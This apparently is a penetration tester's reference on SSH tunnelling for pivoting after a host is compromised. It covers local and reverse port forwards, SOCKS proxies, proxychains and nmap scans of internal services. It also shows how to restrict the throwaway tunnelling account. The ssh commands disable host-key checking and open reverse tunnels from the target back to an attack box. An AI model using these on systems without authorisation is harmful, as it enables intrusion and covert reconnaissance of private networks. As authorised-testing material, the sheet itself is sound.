Port Forwarding with SSH
Security Considerations
Reverse Tunneling
- This will require you to establish a SSH connection from the foothold back to your attack box.
- You want to mitigate any potential for this authentication to be used against you
Public Key Authentication
- Say you have a throwaway account named
junkuserfor the purpose of tunneling - The SSH public key will be placed in
/home/junkuser/.ssh/authorized_keys - With public key authentication, you can add options to the authorized key file
command="echo 'This account is for port forwarding only'",from="192.168.1.11,192.168.1.12",no-user-rc,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa public-key-here
Password Authentication
- Public key authentication would be a better choice, because it is much easier to manage key files
- If you must use passwords, you can add a
Matchstatement to your/etc/ssh/sshd_configfile to constrain the user- You can combine SSH public key with the
Matchstatement, as well, create a more constrained configuration
- You can combine SSH public key with the
- Say you have a throwaway user named
junkuser, just append the user match to the bottom of the config file
Match junkuser
PermitRootLogin no
PermitTTY no
PermitUserRC no
ForceCommand "echo 'This account is for port forwarding only'"
PasswordAuthentication yes
PermitEmptyPasswords no
MaxAuthTries 2
AllowAgentForwarding no
X11Forwarding no
X11UseLocalhost no
Example: sshd_config
Individual Port Forwarding
Local Port to Remote Port
Network Diagram
SCENARIO
--------
During post-exploit enumeration you discover internal
services bound to tcp/8001 and tcp/8443 on the loopback interface.
You create or use and existing SSH credential to forward the two
ports from your attack box to the internal mappings on the target.
tcp/48001 on attack box maps to tcp/8001 on the target, likewise for
tcp/48443
.------------. [+]============[ SSH CONNECTION ]============>> .------------.
| | | |
| ATTACK BOX | ,-----------------[ SSH TUNNEL ]----------------. | TARGET |
| ssh client | | | | ssh server |
| | | [+]============[ SSH CONNECTION ]============>> | | |
'------------' | | '------------'
| |
127.0.0.1:48001 [+]---| |------> 127.0.0.1:8001
127.0.0.1:48443 [+]---' '------> 127.0.0.1:8443
ssh -o "UserKnownHostsFile=/dev/null" \
-o "StrictHostKeyChecking=no" -f -N \
-L 127.0.0.1:48001:127.0.0.1:8001 \
-L 127.0.0.1:48443:127.0.0.1:8443 \
-i id_rsa user@target
sudo nmap -Pn -sT -sC -sV -p48001,48443 127.0.0.1
Example Commands
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -L attack-ip:attack-port:remote-ip:remote-port user@target
Password authentication
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -L attack-ip:attack-port:remote-ip:remote-port \
-i /path/to/private-key user@target
Key authentication
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -f -N \
-L attack-ip:attack-port:remote-ip:remote-port \
-L attack-ip:attack-port:remote-ip:remote-port user@target
Multiple port forwards using multiple -L declarations
Reverse Local Port to Remote Port
Network Diagram
SCENARIO
--------
During post-exploit enumeration you discover internal
services bound to tcp/8001 and tcp/8443 on the loopback interface.
You create a throwaway credential on your attack box for authentication
to your attack box and reverse forward the two ports from your attack box
to the internal mappings on the target. tcp/48001 on attack box maps to
tcp/8001 on the target, likewise for tcp/48443
⚠️ BE CAREFUL WITH REVERSE CONNECTIONS BACK TO ATTACK BOX ⚠️
PROMPTLY CHANGE / REMOVE THE CREDENTIAL ONCE THE MISSION IS ACCOMPLISHED
.------------. <<============[ SSH CONNECTION ]============[+] .------------.
| | | |
| ATTACK BOX | ,----------------[ SSH TUNNEL ]-----------------. | TARGET |
| ssh server | | | | ssh client |
| | | <<============[ SSH CONNECTION ]============[+] | | |
'------------' | | '------------'
| |
127.0.0.1:48001 [+]---| |------> 127.0.0.1:8001
127.0.0.1:48443 [+]---' '------> 127.0.0.1:8443
sudo nmap -Pn -sT -sC -sV -p48001,48443 127.0.0.1 ssh -o "UserKnownHostsFile=/dev/null" \
-o "StrictHostKeyChecking=no" -f -N \
-R 127.0.0.1:48001:127.0.0.1:8001 \
-R 127.0.0.1:48443:127.0.0.1:8443 \
-i id_rsa junk_user@attack-box
Example Commands
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -R attack-ip:attack-port:local-ip:local-port user@attack-box-ip
Password authentication
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -R attack-ip:attack-port:local-ip:local-port \
-i /path/to/private/key user@attack-box-ip
Key authentication
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -f -N \
-R attack-ip:attack-port:local-ip:local-port \
-R attack-ip:attack-port:local-ip:local-port user@attack-box-ip
Multiple port forwards with multiple -R declarations
Forward Dynamic SOCKS Proxy
SOCKS operates at layer 4 and up on the OSI model. Ping -- or ICMP -- is a layer 3 protocol and does not flow over SOCKS. So, you cannot ping targets through a SOCKS proxy.
Network Diagram
SCENARIO
--------
During post-exploit enumeration you discover internal services bound to
tcp/8080. You also discover that the host has access to additional networks.
You create or use and existing SSH credential for authentication to the target
and create and open a proxy port to dynamically forward packets to the target
SSH server. The target SSH server acts as a transparent SOCKS proxy and moves
the packets to the destination, so long as it can route there, and so long as
there is no firewall blocking the traffic.
.------------. [+]============[ SSH CONNECTION ]==============>> .------------. .----. .----.
| | | | <<===================>> | | .----. | |
| ATTACK BOX | ,-----------------[ SSH TUNNEL ]--------------------| TARGET |------SOCKS5 PROXY-----> '----' | | '----'
| ssh client | | | ssh server | <<========.:.========>> .----. '----' .----.
| | | [+]============[ SSH CONNECTION ]==============>> | | |'| | | | |
'------------' | '------------' |'| '----' '----'
| |'| ADDITIONAL TARGETS
| ======== '| OR NETWORKS
127.0.0.1:50080 [+]---' 127.0.0.1:8080 <----------'|
=========='
ssh -o "UserKnownHostsFile=/dev/null" \
-o "StrictHostKeyChecking=no" -f -N \
-D 127.0.0.1:50080 -i id_rsa user@target
"socks5 127.0.0.1 50080" in proxychains4.conf
sudo proxychains -q nmap -Pn -sT --top-ports 500 <target(s)>
curl --proxy 'socks5://127.0.0.1:58080' http://127.0.0.1:8080
Example Commands
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -D attack-ip:attack-port user@target
Password authentication
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -D attack-ip:attack-port -i /path/to/private-key user@target
Key authentication
Reverse Dynamic SOCKS Proxy
- REQUIRES AT LEAST OpenSSH Client 7.6!
- Create a dummy account on Kali, generate an SSH key pair, transfer the private key to the target
- Run on the target
SOCKS operates at layer 4 and up on the OSI model. Ping -- or ICMP -- is a layer 3 protocol and does not flow over SOCKS. So, you cannot ping targets through a SOCKS proxy.
Network Diagram
SCENARIO
--------
During post-exploit enumeration you discover internal
services bound to tcp/8080. You also discover that the host
has access to additional networks.
You create a throwaway credential on your attack box for authentication
to your attack box and create and open a proxy port to dynamically forward
packets to the target SSH server. The target SSH server acts as a transparent
SOCKS proxy and moves the packets to the destination, so long as it can
route there, and so long as there is no firewall blocking the traffic.
⚠️ BE CAREFUL WITH REVERSE CONNECTIONS BACK TO ATTACK BOX ⚠️
PROMPTLY CHANGE / REMOVE THE CREDENTIAL ONCE THE MISSION IS ACCOMPLISHED
.------------. <<============[ SSH CONNECTION ]==============[+] .------------. .----. .----.
| | | | <<===================>> | | .----. | |
| ATTACK BOX | ,----------------[ SSH TUNNEL ]---------------------| TARGET |------SOCKS5 PROXY-----> '----' | | '----'
| ssh server | | | ssh client | <<========.:.========>> .----. '----' .----.
| | | <<============[ SSH CONNECTION ]==============[+] | | |'| | | | |
'------------' | '------------' |'| '----' '----'
| |'| ADDITIONAL TARGETS
| ======== '| OR NETWORKS
127.0.0.1:50080 [+]---' 127.0.0.1:8080 <----------'|
=========='
"socks5 127.0.0.1 50080" in proxychains4.conf ssh -o "UserKnownHostsFile=/dev/null" \
sudo proxychains -q nmap -Pn -sT --top-ports 500 <target(s)> -o "StrictHostKeyChecking=no" -f -N \
-R 127.0.0.1:50080 -i id_rsa junk_user@attack-box
curl --proxy 'socks5://127.0.0.1:58080' http://127.0.0.1:8080
Example Commands
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -R attack-ip:attack-port user@attack-box-ip
Password authentication
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -R attack-ip:attack-port -i /path/to/private-key user@attack-box-ip
Key authentication
Proxychains
proxychains is used for dynamic port scanning when using Forward or Reverse Dynamic SOCKS Proxy
sudo nano /etc/proxychains4.conf
In the example below, this assumes you've used tcp/50080 as the SOCKS5 proxy port (as shown in the example command above). If you're proxying through an older host, you may need to specify socks4 instead
[ProxyList]
socks5 127.0.0.1 50080
Port Scanning via SOCKS Proxy
With SOCKS, you must use the -sT flag to make a full TCP connection through the proxy. The SOCKS proxy cannot track TCP states when -sS or half-open scans are used.
Scanning 127.0.0.1 -- in this case -- causes the traffic to flow through the SOCKS session, come out the other side of the proxy on the target and effectively scan the loopback adapter on the target side.
# TCP connect scans are brutally slow, use top 1,000 ports
sudo proxychains -q nmap -Pn -sT --top-ports 1000 -T4 -sC -sV 127.0.0.1
Tips and Tricks
ss -plutan | grep -i listen | grep -oE '(127.0.0.1|\[::1\]):[0-9]{1,5}' |
grep -v 53 | sed 's/\[::1\]/127.0.0.1/g' | xargs -I {} echo '-L {}:{} \'
Run on the target to generate a list of -L port forwards for convenience, ignores DNS resolver
Probably goes without saying, but change -L to -R generate the output for reverse port forwards.